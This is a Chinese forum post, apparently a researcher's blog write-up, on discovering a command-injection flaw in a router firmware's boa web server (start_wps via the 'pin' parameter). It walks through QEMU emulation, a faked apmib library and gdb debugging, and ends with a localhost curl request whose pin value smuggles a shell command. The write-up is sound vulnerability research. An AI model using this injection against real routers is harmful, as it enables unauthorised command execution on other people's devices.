首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
茶余饭后
发新帖
0
0
[原创]CNVD-2026-28535漏洞挖掘分享
发表于: 2026-7-26 13:52
100
[原创]CNVD-2026-28535漏洞挖掘分享
zach0ry
2026-7-26 13:52
100
--- title: CNVD-2026-28535漏洞挖掘分享 categories: - IOT安全 tags: - IOT date: 2026-07-23 14:00:00 --- 第一次自主漏洞挖掘,这里写一篇博客特此记录一下 这里存一点私心,放一下笔者的<a href="elink@c44K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6*7j5h3y4Z5x3s2u0&6i4K6u0V1P5Y4A6Z5i4K6u0W2k6$3W2@1K9s2g2T1i4K6u0W2K9h3!0Q4x3V1j5`.">博客</a> ## 漏洞信息 <a href="elink@f74K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6D9k6h3N6S2j5%4W2X3K9h3I4W2M7#2)9J5k6i4g2K6i4K6u0W2k6r3I4A6L8X3E0Q4x3X3g2U0L8$3#2Q4x3V1k6p5d9g2u0Q4x3X3b7$3x3o6g2x3i4K6u0r3f1V1g2h3b7g2)9J5c8V1k6u0f1V1#2i4b7g2u0q4i4K6u0r3c8p5W2d9i4K6u0V1y4U0l9#2e0q4)9#2k6W2u0q4g2V1q4Q4y4h3k6r3d9g2u0y4g2@1q4d9c8g2)9#2k6U0q4Q4x3X3f1I4x3#2)9J5k6g2A6u0f1l9`.`.">固件地址</a> 漏洞文件:/bin/boa 漏洞函数:start_wps() 函数地址:0x45aa28  该函数的调用方式不太一样  HTTP请求->获取pin参数->start_wps()->sprintf拼接系统命令->system执行 在函数中,程序首先通过:v2 = *(_DWORD *)(a1 + 268)获取 HTTP 请求中的用户输入参数。 然后通过:v3 = strstr(v2,"pin=");查找用户提交的 PIN 参数。 当参数存在时:wscd = (const char *)(v3 + 4);获取用户可控内容。 之后程序直接执行:sprintf(failed,"iwpriv wlan0 set_mib pin=%s",wscd); 将用户输入拼接到系统命令中,最后:system(failed)执行该命令。 由于用户输入未经过任何过滤,可以通过插入 Shell 特殊字符控制最终执行命令。 ## 环境模拟 解包之后首先尝试运行 看文件架构  拷贝合适的调试工具 `cp $(which qemu-mips-static ) .` 运行boa文件发现初始化错误  直接去ida查找报错字符`Initialize AP MIB failed!`  所以这里需要apmib_init返回true才能让函数继续执行  apmib_init()不在 boa 主程序里面,它来自外部动态库(.so) 去找它的函数主体,在/lib/apmib.so文件中 用ida打开  分析可知apmib_init()的作用: 初始化路由器配置数据库(MIB),从Flash读取硬件配置、软件配置、用户配置,然后建立内存中的配置结构,供 boa 后面的 Web 页面调用。 所以可以直接修改apmib_init函数执行函数,让它直接返回1 创建apmib.c文件定义函数apmib_init() ``` #include<stdio.h> #include<stdlib.h> int ampib_init(void) { //Fake it. return 1; } ``` 然后用gcc-mips-linux-gnu生成 MIPS 架构的 Linux 操作系统可执行文件 `mips-linux-gnu-gcc ./apmib.c -o apmib-ld.so -fPIC -shared` 之后重新运行 ``` sudo chroot ./ \ ./qemu-mips-static \ -E LD_PRELOAD="/apmib-ld.so" \ ./bin/boa ```  qemu: uncaught target signal 11 (Segmentation fault) - core dumped ida调试去寻找报错位置 ``` sudo chroot ./ \ ./qemu-mips-static \ -E LD_PRELOAD="/apmib-ld.so" \ -g 1234 \ ./bin/boa ``` 配置一下ida的远端调试信息 hostname设置为虚拟机的ip,port为你起的那个端口  在apmib_get的跳转报错了  真正触发程序崩溃的是 0x43B1A4 处的指令  查看 apmib.so 中apmib_get()函数的汇编代码 int __fastcall apmib_get(int n500, unsigned __int8 *p_boot_ver)  这个函数实际上是从路由器的配置数据库(MIB)里,根据编号 n500,把对应配置值读取出来,复制到调用者提供的缓冲区 p_boot_ver apmib_get(配置项编号, 存放结果的地址) 分析调用的实际情况知道每个pid对应的是什么 所以修改函数apmib_init() >脚本中#define MIB_WPS_MODE 0x3B的情况是不是这里的读取信息,在之后对start_wps()函数的讲解会讲到 ``` #include <stdio.h> #include <stdlib.h> #define MIB_IP_ADDR 170 #define MIB_HW_VER 0x250 #define MIB_CAPTCHA 0x2C1 // WPS mode #define MIB_WPS_MODE 0x3B int apmib_init() { return 1; } // 防止boa初始化fork失败 int fork(void) { return 0; } int apmib_get(int code, void *value) { int *v = (int *)value; switch(code) { // IP地址 case MIB_IP_ADDR: *v = 0x7F000001; //127.0.0.1 break; // 硬件版本 case MIB_HW_VER: *v = 0xF1; break; // 验证码 case MIB_CAPTCHA: *v = 1;s break; // ★关键 // start_wps: // apmib_get(0x3b,&var) // // 0 -> 进入: // iwpriv wlan0 set_mib pin=%s // case MIB_WPS_MODE: *v = 0; break; default: // 默认返回成功 *v = 0; break; } return 1; } ``` 然后用gcc-mips-linux-gnu生成 MIPS 架构的 Linux 操作系统可执行文件 `mips-linux-gnu-gcc ./apmib.c -o apmib-ld.so -fPIC -shared` 然后就可以运行了 ` sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="/apmib-ld.so" ./bin/boa`  但是跳转的页面是错的  需要改动 web 目录下的 first.asp 文件 将代码 self.location.href="Basic/Wizard_Easy_LangSelect.asp";注释掉, 然后将self.location.href="Basic/Wizard_Easy_Welcome.asp";复制到else 代码块 即  之后就可以成功访问  接着对start_wps函数进行详细分析  要想执行到system命令注入入口 程序会对var/run/wscd-wlan0.pid和/var/tmp/wscd_status两个文件进行校验,要先创建出这两个文件 ``` mkdir -p var/run mkdir -p var/tmp touch var/run/wscd-wlan0.pid touch var/tmp/wscd_status ``` 并且传入参数中要以”pin=····“的形式传入 且`apmib_get(59, &n3);` 会获取wps配置,要继续修改apmib_get的函数伪造多一种判断情况 `#define MIB_WPS_MODE 0x3B` ``` #include <stdio.h> #include <stdlib.h> #define MIB_IP_ADDR 170 #define MIB_HW_VER 0x250 #define MIB_CAPTCHA 0x2C1 // WPS mode #define MIB_WPS_MODE 0x3B int apmib_init() { return 1; } // 防止boa初始化fork失败 int fork(void) { return 0; } int apmib_get(int code, void *value) { int *v = (int *)value; switch(code) { // IP地址 case MIB_IP_ADDR: *v = 0x7F000001; //127.0.0.1 break; // 硬件版本 case MIB_HW_VER: *v = 0xF1; break; // 验证码 case MIB_CAPTCHA: *v = 1; break; case MIB_WPS_MODE: *v = 0; break; default: *v = 0; break; } return 1; } ``` 之后就可以尝试运行了 ## 模拟攻击 还是起服务但是可以在gdb中调试 ``` sudo chroot ./ ./qemu-mips-static \ -E LD_PRELOAD=/apmib-ld.so \ -g 1234 \ ./bin/boa ``` 另开一个窗口来调试 ``` gdb-multiarch ./bin/boa set architecture mips target remote :1234 ``` 在进入system函数之前下断点,方便观察system函数的参数 ``` b *0x45ab80 ```  之后按`c`让它继续运行,期间他会停住等待输入 开另一个窗口发送参数(这里以echo>/var/run/cnvd_test为例去测试执行) ``` curl --path-as-is \ 'http://127.0.0.1/Basic/wifisc_add_sta.asp?pin=12345678;echo>/var/run/cnvd_test' ``` 回到gdb调试窗口看参数  看到我们伪造的命令已注入,C让它执行命令  命令注入漏洞实现
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
收藏
・
0
点赞
・
0
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
0
)
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
zach0ry
2
发帖
0
回帖
0
RANK
关注
私信
他的文章
[原创]CNVD-2026-28535漏洞挖掘分享
100
[原创][分享][注意][分享]Tenda A15 固件模拟与漏洞复现
3686
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部